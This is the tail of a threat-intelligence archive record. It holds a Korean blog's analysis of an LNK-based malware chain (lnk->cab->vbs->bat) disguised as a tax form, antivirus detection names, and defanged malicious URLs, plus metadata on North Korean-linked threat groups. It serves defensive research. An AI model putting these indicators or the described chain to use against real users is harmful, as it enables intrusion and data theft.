스크립트를 실행\r\n$sh1 변수를 사용하여 Windows 셸 객체를 생성\r\n%~dp0%~1을 사용하여 현재 스크립트 파일이 위치한 디렉토리와 전달된 첫 번째 인수를 결합하여 해\r\n당 디렉토리의 Windows 셸 네임스페이스를 얻음\r\n$z.items().item(0).name을 사용하여 해당 디렉토리의 첫 번째 아이템의 이름을 추출\r\n추출한 이름을 `%~dp0(%)~2에 저장\r\n2.파일 저장:\r\n   \u003e %~dp0%~2\r\n파일 리다이렉션(`\u003e`)을 사용하여 PowerShell 스크립트에서 얻은 결과를 %~(d)p0%~2 파일에 저장.\r\n해당 스크립트는 주로 특정 디렉토리에서 첫 번째 아이템의 이름을 얻어와서 파일에 저장하는 용도 저장\r\n된 파일은 배치 스크립트가 위치한 디렉터리에 `%~2`로 지정된 이름으로 생성될 것입니다.\r\n2023-12-20 20:22:54 UTC 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.\r\nAhnLab-V3:Trojan/LNK.Runner\r\nALYac:Trojan.Agent.LNK.Gen\r\nArcabit:Trojan.GenericFCA.Script.D7DE8\r\nBitDefender:Trojan.GenericFCA.Script.32232\r\nhttps://wezard4u.tistory.com/6693\r\nPage 14 of 15\n\nBkav Pro:W32.Common.58C9ED9A\r\nEmsisoft:Trojan.GenericFCA.Script.32232 (B)\r\nESET-NOD32:BAT/TrojanDownloader.Agent.NWV\r\nGData:Trojan.GenericFCA.Script.32232\r\nGoogle:Detected\r\nKaspersky:HEUR:Trojan.Multi.Powenot.a\r\nLionic:Trojan.WinLNK.Powenot.4!c\r\nSentinelOne (Static ML):Static AI - Suspicious LNK\r\nSophos:Mal/PowLnkObf-D\r\nSymantec:CL.Downloader!gen20\r\nTencent:Win32.Trojan.Malware.Szfl\r\nTrellix (FireEye):Trojan.GenericFCA.Script.32232\r\nVarist:LNK/ABRisk.MKMJ-2\r\nVBA32:Trojan.Link.Crafted\r\nVIPRE:Trojan.GenericFCA.Script.32232\r\nZoneAlarm by Check Point:HEUR:Trojan.Multi.Powenot.a\r\n이며 한마디로 해당 악성코드 작동 순서는 lnk-\u003ecab-\u003evbs-\u003ebat 이런식으로 동작을 합니다.\r\n즉 자금출처명세서이라는 문서를 통해서 사업자등록 신청시 업종에 따라서 소요되는 자금이나 자금의 출\r\n처에 대해서 제출하는 서식을 통해서 과세유흥장소,금지금 도/소매업,석유류 도/소매업,재생용 재료수\r\n집 및\r\n판매업의 사업자 등록을 제출해야 하는 서류를 위장하고 있어서 세금 관련 개인 사업자 등의 분들을 노리\r\n는 악성코드가 아닐까 생각이 됩니다.\r\n아무튼, 기본적으로 백신 프로그램을 설치해서 컴퓨터를 사용하는 것을 강력하게 추천합니다.\r\n결론 악성코드 관련 사이트\r\nhxxp://ddsdata.net/upload.php\r\nhxxps://aufildeseaux.com/wp-admin/includes/main/read/get.php\r\n임\r\nSource: https://wezard4u.tistory.com/6693\r\nhttps://wezard4u.tistory.com/6693\r\nPage 15 of 15",
	"extraction_quality": 1,
	"language": "KO",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://wezard4u.tistory.com/6693"
	],
	"report_names": [
		"6693"
	],
	"threat_actors": [
		{
			"id": "6f30fd35-b1c9-43c4-9137-2f61cd5f031e",
			"created_at": "2025-08-07T02:03:25.082908Z",
			"updated_at": "2026-04-10T02:00:03.744649Z",
			"deleted_at": null,
			"main_name": "NICKEL FOXCROFT",
			"aliases": [
				"APT37 ",
				"ATK4 ",
				"Group 123 ",
				"InkySquid ",
				"Moldy Pisces ",
				"Operation Daybreak ",
				"Operaton Erebus ",
				"RICOCHET CHOLLIMA ",
				"Reaper ",
				"ScarCruft ",
				"TA-RedAnt ",
				"Venus 121 "
			],
			"source_name": "Secureworks:NICKEL FOXCROFT",
			"tools": [
				"Bluelight",
				"Chinotto",
				"GOLDBACKDOOR",
				"KevDroid",
				"KoSpy",
				"PoorWeb",
				"ROKRAT",
				"final1stpy"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "aa65d2c9-a9d7-4bf9-9d56-c8de16eee5f4",
			"created_at": "2025-08-07T02:03:25.096857Z",
			"updated_at": "2026-04-10T02:00:03.659118Z",
			"deleted_at": null,
			"main_name": "NICKEL JUNIPER",
			"aliases": [
				"Konni",
				"OSMIUM ",
				"Opal Sleet "
			],
			"source_name": "Secureworks:NICKEL JUNIPER",
			"tools": [
				"Konni"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "b43c8747-c898-448a-88a9-76bff88e91b5",
			"created_at": "2024-02-02T02:00:04.058535Z",
			"updated_at": "2026-04-10T02:00:03.545252Z",
			"deleted_at": null,
			"main_name": "Opal Sleet",
			"aliases": [
				"Konni",
				"Vedalia",
				"OSMIUM"
			],
			"source_name": "MISPGALAXY:Opal Sleet",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "bbe36874-34b7-4bfb-b38b-84a00b07042e",
			"created_at": "2022-10-25T15:50:23.375277Z",
			"updated_at": "2026-04-10T02:00:05.327922Z",
			"deleted_at": null,
			"main_name": "APT37",
			"aliases": [
				"APT37",
				"InkySquid",
				"ScarCruft",
				"Group123",
				"TEMP.Reaper",
				"Ricochet Chollima"
			],
			"source_name": "MITRE:APT37",
			"tools": [
				"BLUELIGHT",
				"CORALDECK",
				"KARAE",
				"SLOWDRIFT",
				"ROKRAT",
				"SHUTTERSPEED",
				"POORAIM",
				"HAPPYWORK",
				"Final1stspy",
				"Cobalt Strike",
				"NavRAT",
				"DOGCALL",
				"WINERACK"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "552ff939-52c3-421b-b6c9-749cbc21a794",
			"created_at": "2023-01-06T13:46:38.742547Z",
			"updated_at": "2026-04-10T02:00:03.08515Z",
			"deleted_at": null,
			"main_name": "APT37",
			"aliases": [
				"Operation Daybreak",
				"Red Eyes",
				"ScarCruft",
				"G0067",
				"Group123",
				"Reaper Group",
				"Ricochet Chollima",
				"ATK4",
				"APT 37",
				"Operation Erebus",
				"Moldy Pisces",
				"APT-C-28",
				"Group 123",
				"InkySquid",
				"Venus 121"
			],
			"source_name": "MISPGALAXY:APT37",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "191d7f9a-8c3c-442a-9f13-debe259d4cc2",
			"created_at": "2022-10-25T15:50:23.280374Z",
			"updated_at": "2026-04-10T02:00:05.305572Z",
			"deleted_at": null,
			"main_name": "Kimsuky",
			"aliases": [
				"Kimsuky",
				"Black Banshee",
				"Velvet Chollima",
				"Emerald Sleet",
				"THALLIUM",
				"APT43",
				"TA427",
				"Springtail"
			],
			"source_name": "MITRE:Kimsuky",
			"tools": [
				"Troll Stealer",
				"schtasks",
				"Amadey",
				"GoBear",
				"Brave Prince",
				"CSPY Downloader",
				"gh0st RAT",
				"AppleSeed",
				"Gomir",
				"NOKKI",
				"QuasarRAT",
				"Gold Dragon",
				"PsExec",
				"KGH_SPY",
				"Mimikatz",
				"BabyShark",
				"TRANSLATEXT"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "760f2827-1718-4eed-8234-4027c1346145",
			"created_at": "2023-01-06T13:46:38.670947Z",
			"updated_at": "2026-04-10T02:00:03.062424Z",
			"deleted_at": null,
			"main_name": "Kimsuky",
			"aliases": [
				"G0086",
				"Emerald Sleet",
				"THALLIUM",
				"Springtail",
				"Sparkling Pisces",
				"Thallium",
				"Operation Stolen Pencil",
				"APT43",
				"Velvet Chollima",
				"Black Banshee"
			],
			"source_name": "MISPGALAXY:Kimsuky",
			"tools": [
				"xrat",
				"QUASARRAT",
				"RDP Wrapper",
				"TightVNC",
				"BabyShark",
				"RevClient"
			],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "c8bf82a7-6887-4d46-ad70-4498b67d4c1d",
			"created_at": "2025-08-07T02:03:25.101147Z",
			"updated_at": "2026-04-10T02:00:03.846812Z",
			"deleted_at": null,
			"main_name": "NICKEL KIMBALL",
			"aliases": [
				"APT43 ",
				"ARCHIPELAGO ",
				"Black Banshee ",
				"Crooked Pisces ",
				"Emerald Sleet ",
				"ITG16 ",
				"Kimsuky ",
				"Larva-24005 ",
				"Opal Sleet ",
				"Ruby Sleet ",
				"SharpTongue ",
				"Sparking Pisces ",
				"Springtail ",
				"TA406 ",
				"TA427 ",
				"THALLIUM ",
				"UAT-5394 ",
				"Velvet Chollima "
			],
			"source_name": "Secureworks:NICKEL KIMBALL",
			"tools": [
				"BabyShark",
				"FastFire",
				"FastSpy",
				"FireViewer",
				"Konni"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "71a1e16c-3ba6-4193-be62-be53527817bc",
			"created_at": "2022-10-25T16:07:23.753455Z",
			"updated_at": "2026-04-10T02:00:04.73769Z",
			"deleted_at": null,
			"main_name": "Kimsuky",
			"aliases": [
				"APT 43",
				"Black Banshee",
				"Emerald Sleet",
				"G0086",
				"G0094",
				"ITG16",
				"KTA082",
				"Kimsuky",
				"Larva-24005",
				"Larva-25004",
				"Operation Baby Coin",
				"Operation Covert Stalker",
				"Operation DEEP#DRIVE",
				"Operation DEEP#GOSU",
				"Operation Kabar Cobra",
				"Operation Mystery Baby",
				"Operation Red Salt",
				"Operation Smoke Screen",
				"Operation Stealth Power",
				"Operation Stolen Pencil",
				"SharpTongue",
				"Sparkling Pisces",
				"Springtail",
				"TA406",
				"TA427",
				"Thallium",
				"UAT-5394",
				"Velvet Chollima"
			],
			"source_name": "ETDA:Kimsuky",
			"tools": [
				"AngryRebel",
				"AppleSeed",
				"BITTERSWEET",
				"BabyShark",
				"BoBoStealer",
				"CSPY Downloader",
				"Farfli",
				"FlowerPower",
				"Gh0st RAT",
				"Ghost RAT",
				"Gold Dragon",
				"GoldDragon",
				"GoldStamp",
				"JamBog",
				"KGH Spyware Suite",
				"KGH_SPY",
				"KPortScan",
				"KimJongRAT",
				"Kimsuky",
				"LATEOP",
				"LOLBAS",
				"LOLBins",
				"Living off the Land",
				"Lovexxx",
				"MailPassView",
				"Mechanical",
				"Mimikatz",
				"MoonPeak",
				"Moudour",
				"MyDogs",
				"Mydoor",
				"Network Password Recovery",
				"PCRat",
				"ProcDump",
				"PsExec",
				"ReconShark",
				"Remote Desktop PassView",
				"SHARPEXT",
				"SWEETDROP",
				"SmallTiger",
				"SniffPass",
				"TODDLERSHARK",
				"TRANSLATEXT",
				"Troll Stealer",
				"TrollAgent",
				"VENOMBITE",
				"WebBrowserPassView",
				"xRAT"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434802,
	"ts_updated_at": 1775792260,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/0cc9bfedc40af5a895c29f2147ec07d0e24b6e2d.pdf",
		"text": "https://archive.orkl.eu/0cc9bfedc40af5a895c29f2147ec07d0e24b6e2d.txt",
		"img": "https://archive.orkl.eu/0cc9bfedc40af5a895c29f2147ec07d0e24b6e2d.jpg"
	}
}